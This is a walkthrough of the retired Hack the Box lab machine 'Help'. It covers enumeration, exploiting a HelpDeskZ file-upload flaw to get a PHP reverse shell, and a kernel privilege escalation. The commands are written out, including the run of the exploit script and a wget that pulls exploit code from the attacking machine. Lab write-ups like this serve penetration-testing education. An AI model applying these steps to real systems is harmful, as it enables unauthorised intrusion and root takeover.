Hack the Box (HTB) machines walkthrough series — Help
Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named Help.
HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.
Enjoy CTFs? Take our challenge!
Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Help, is retired.
Let’s start with this machine.
1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
2. The “Help” machine IP is 10.10.10.121.
3. We will adopt the same methodology of performing penetration testing as we have used in previous articles. Let’s start with enumeration in order to learn as much about the machine as possible.
4. As usual, let’s start with the Nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA Help 10.10.10.121>>
5. We have 2 ports opened, 22 and 80. Let’s enumerate port 80.
6. Enumerating port 80 gives the Ubuntu page.
7. Let’s move forward and try to brute-force the directories. Using gobuster reveals a directory named “/support”, as shown below.
<<gobuster -u http://10.10.10.121 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30>>
8. Enumerating this directory gives a nice support HelpDeskZ portal page.
9. Directly searching for any HelpDeskZ exploit found a hit which is related to a file upload chained with RCE.
10. It also looks like this exploit was available on Searchsploit. So we’ll copy that to the working directory.
11. Now let’s see what the exploit code actually is.
12. So it looks like file upload is required and the uploaded file gets processed. To retrieve the file, it gets appended with current time and then its MD5 is uploaded.
13. The first thing to note is that the current system time is being calculated, so we have to make sure that our attacking machine and victim machine are in same time format. Checking that, it was revealed that they are not.
14. So we have to alter the exploit code to adjust that time zone difference. Below is another way to get the time zone format.
15. In the script, the current time is calculated like int(time.time), so that results in epoch.
16. We have to alter the exploit code to result in epoch as well.
17. Below is the final code to adjust the time zone difference and return the time to the expected format.
18. Now we need to upload the file. First, let’s grab the PHP shell and change it to include the attacking machine IP as shown below.
19. Now let’s upload the file. We fill in the required parameters and upload the file as below.
20. After submitting, it shows that the file is not allowed. However, the backend file is indeed uploaded.
21. We next run the exploit to see the file being uploaded in the last five minutes and provide the name of the file uploaded by us to match.
<<python 40300.py ‘http://10.10.10.121/support/uploads/tickets’ php-reverse-shell.php’>>
22. The exploit was able to find that file and we got a reverse shell back.
23. We use enumerating to grab the user.txt file.
24. Let’s escalate to root shell now. Specifically, let’s enumerate the kernel version.
25. Searching for this kernel version reveals a privilege escalation for it.
26. We now download the exploit and transfer it to the victim machine.
27. Executing the exploit, we get the root shell.
<<wget http://<attacking machine:8000/exploit.c>>>
<<gcc exploit.c -o rootexp>>
28. Using enumerating to grab the root.txt file.
This box’s main goal is for researcher/pentesters to not blindly follow the exploit, but to understand the nitty-gritty details.
Enjoy CTFs? Take our challenge!
We will continue this series with more such interesting and challenging machines.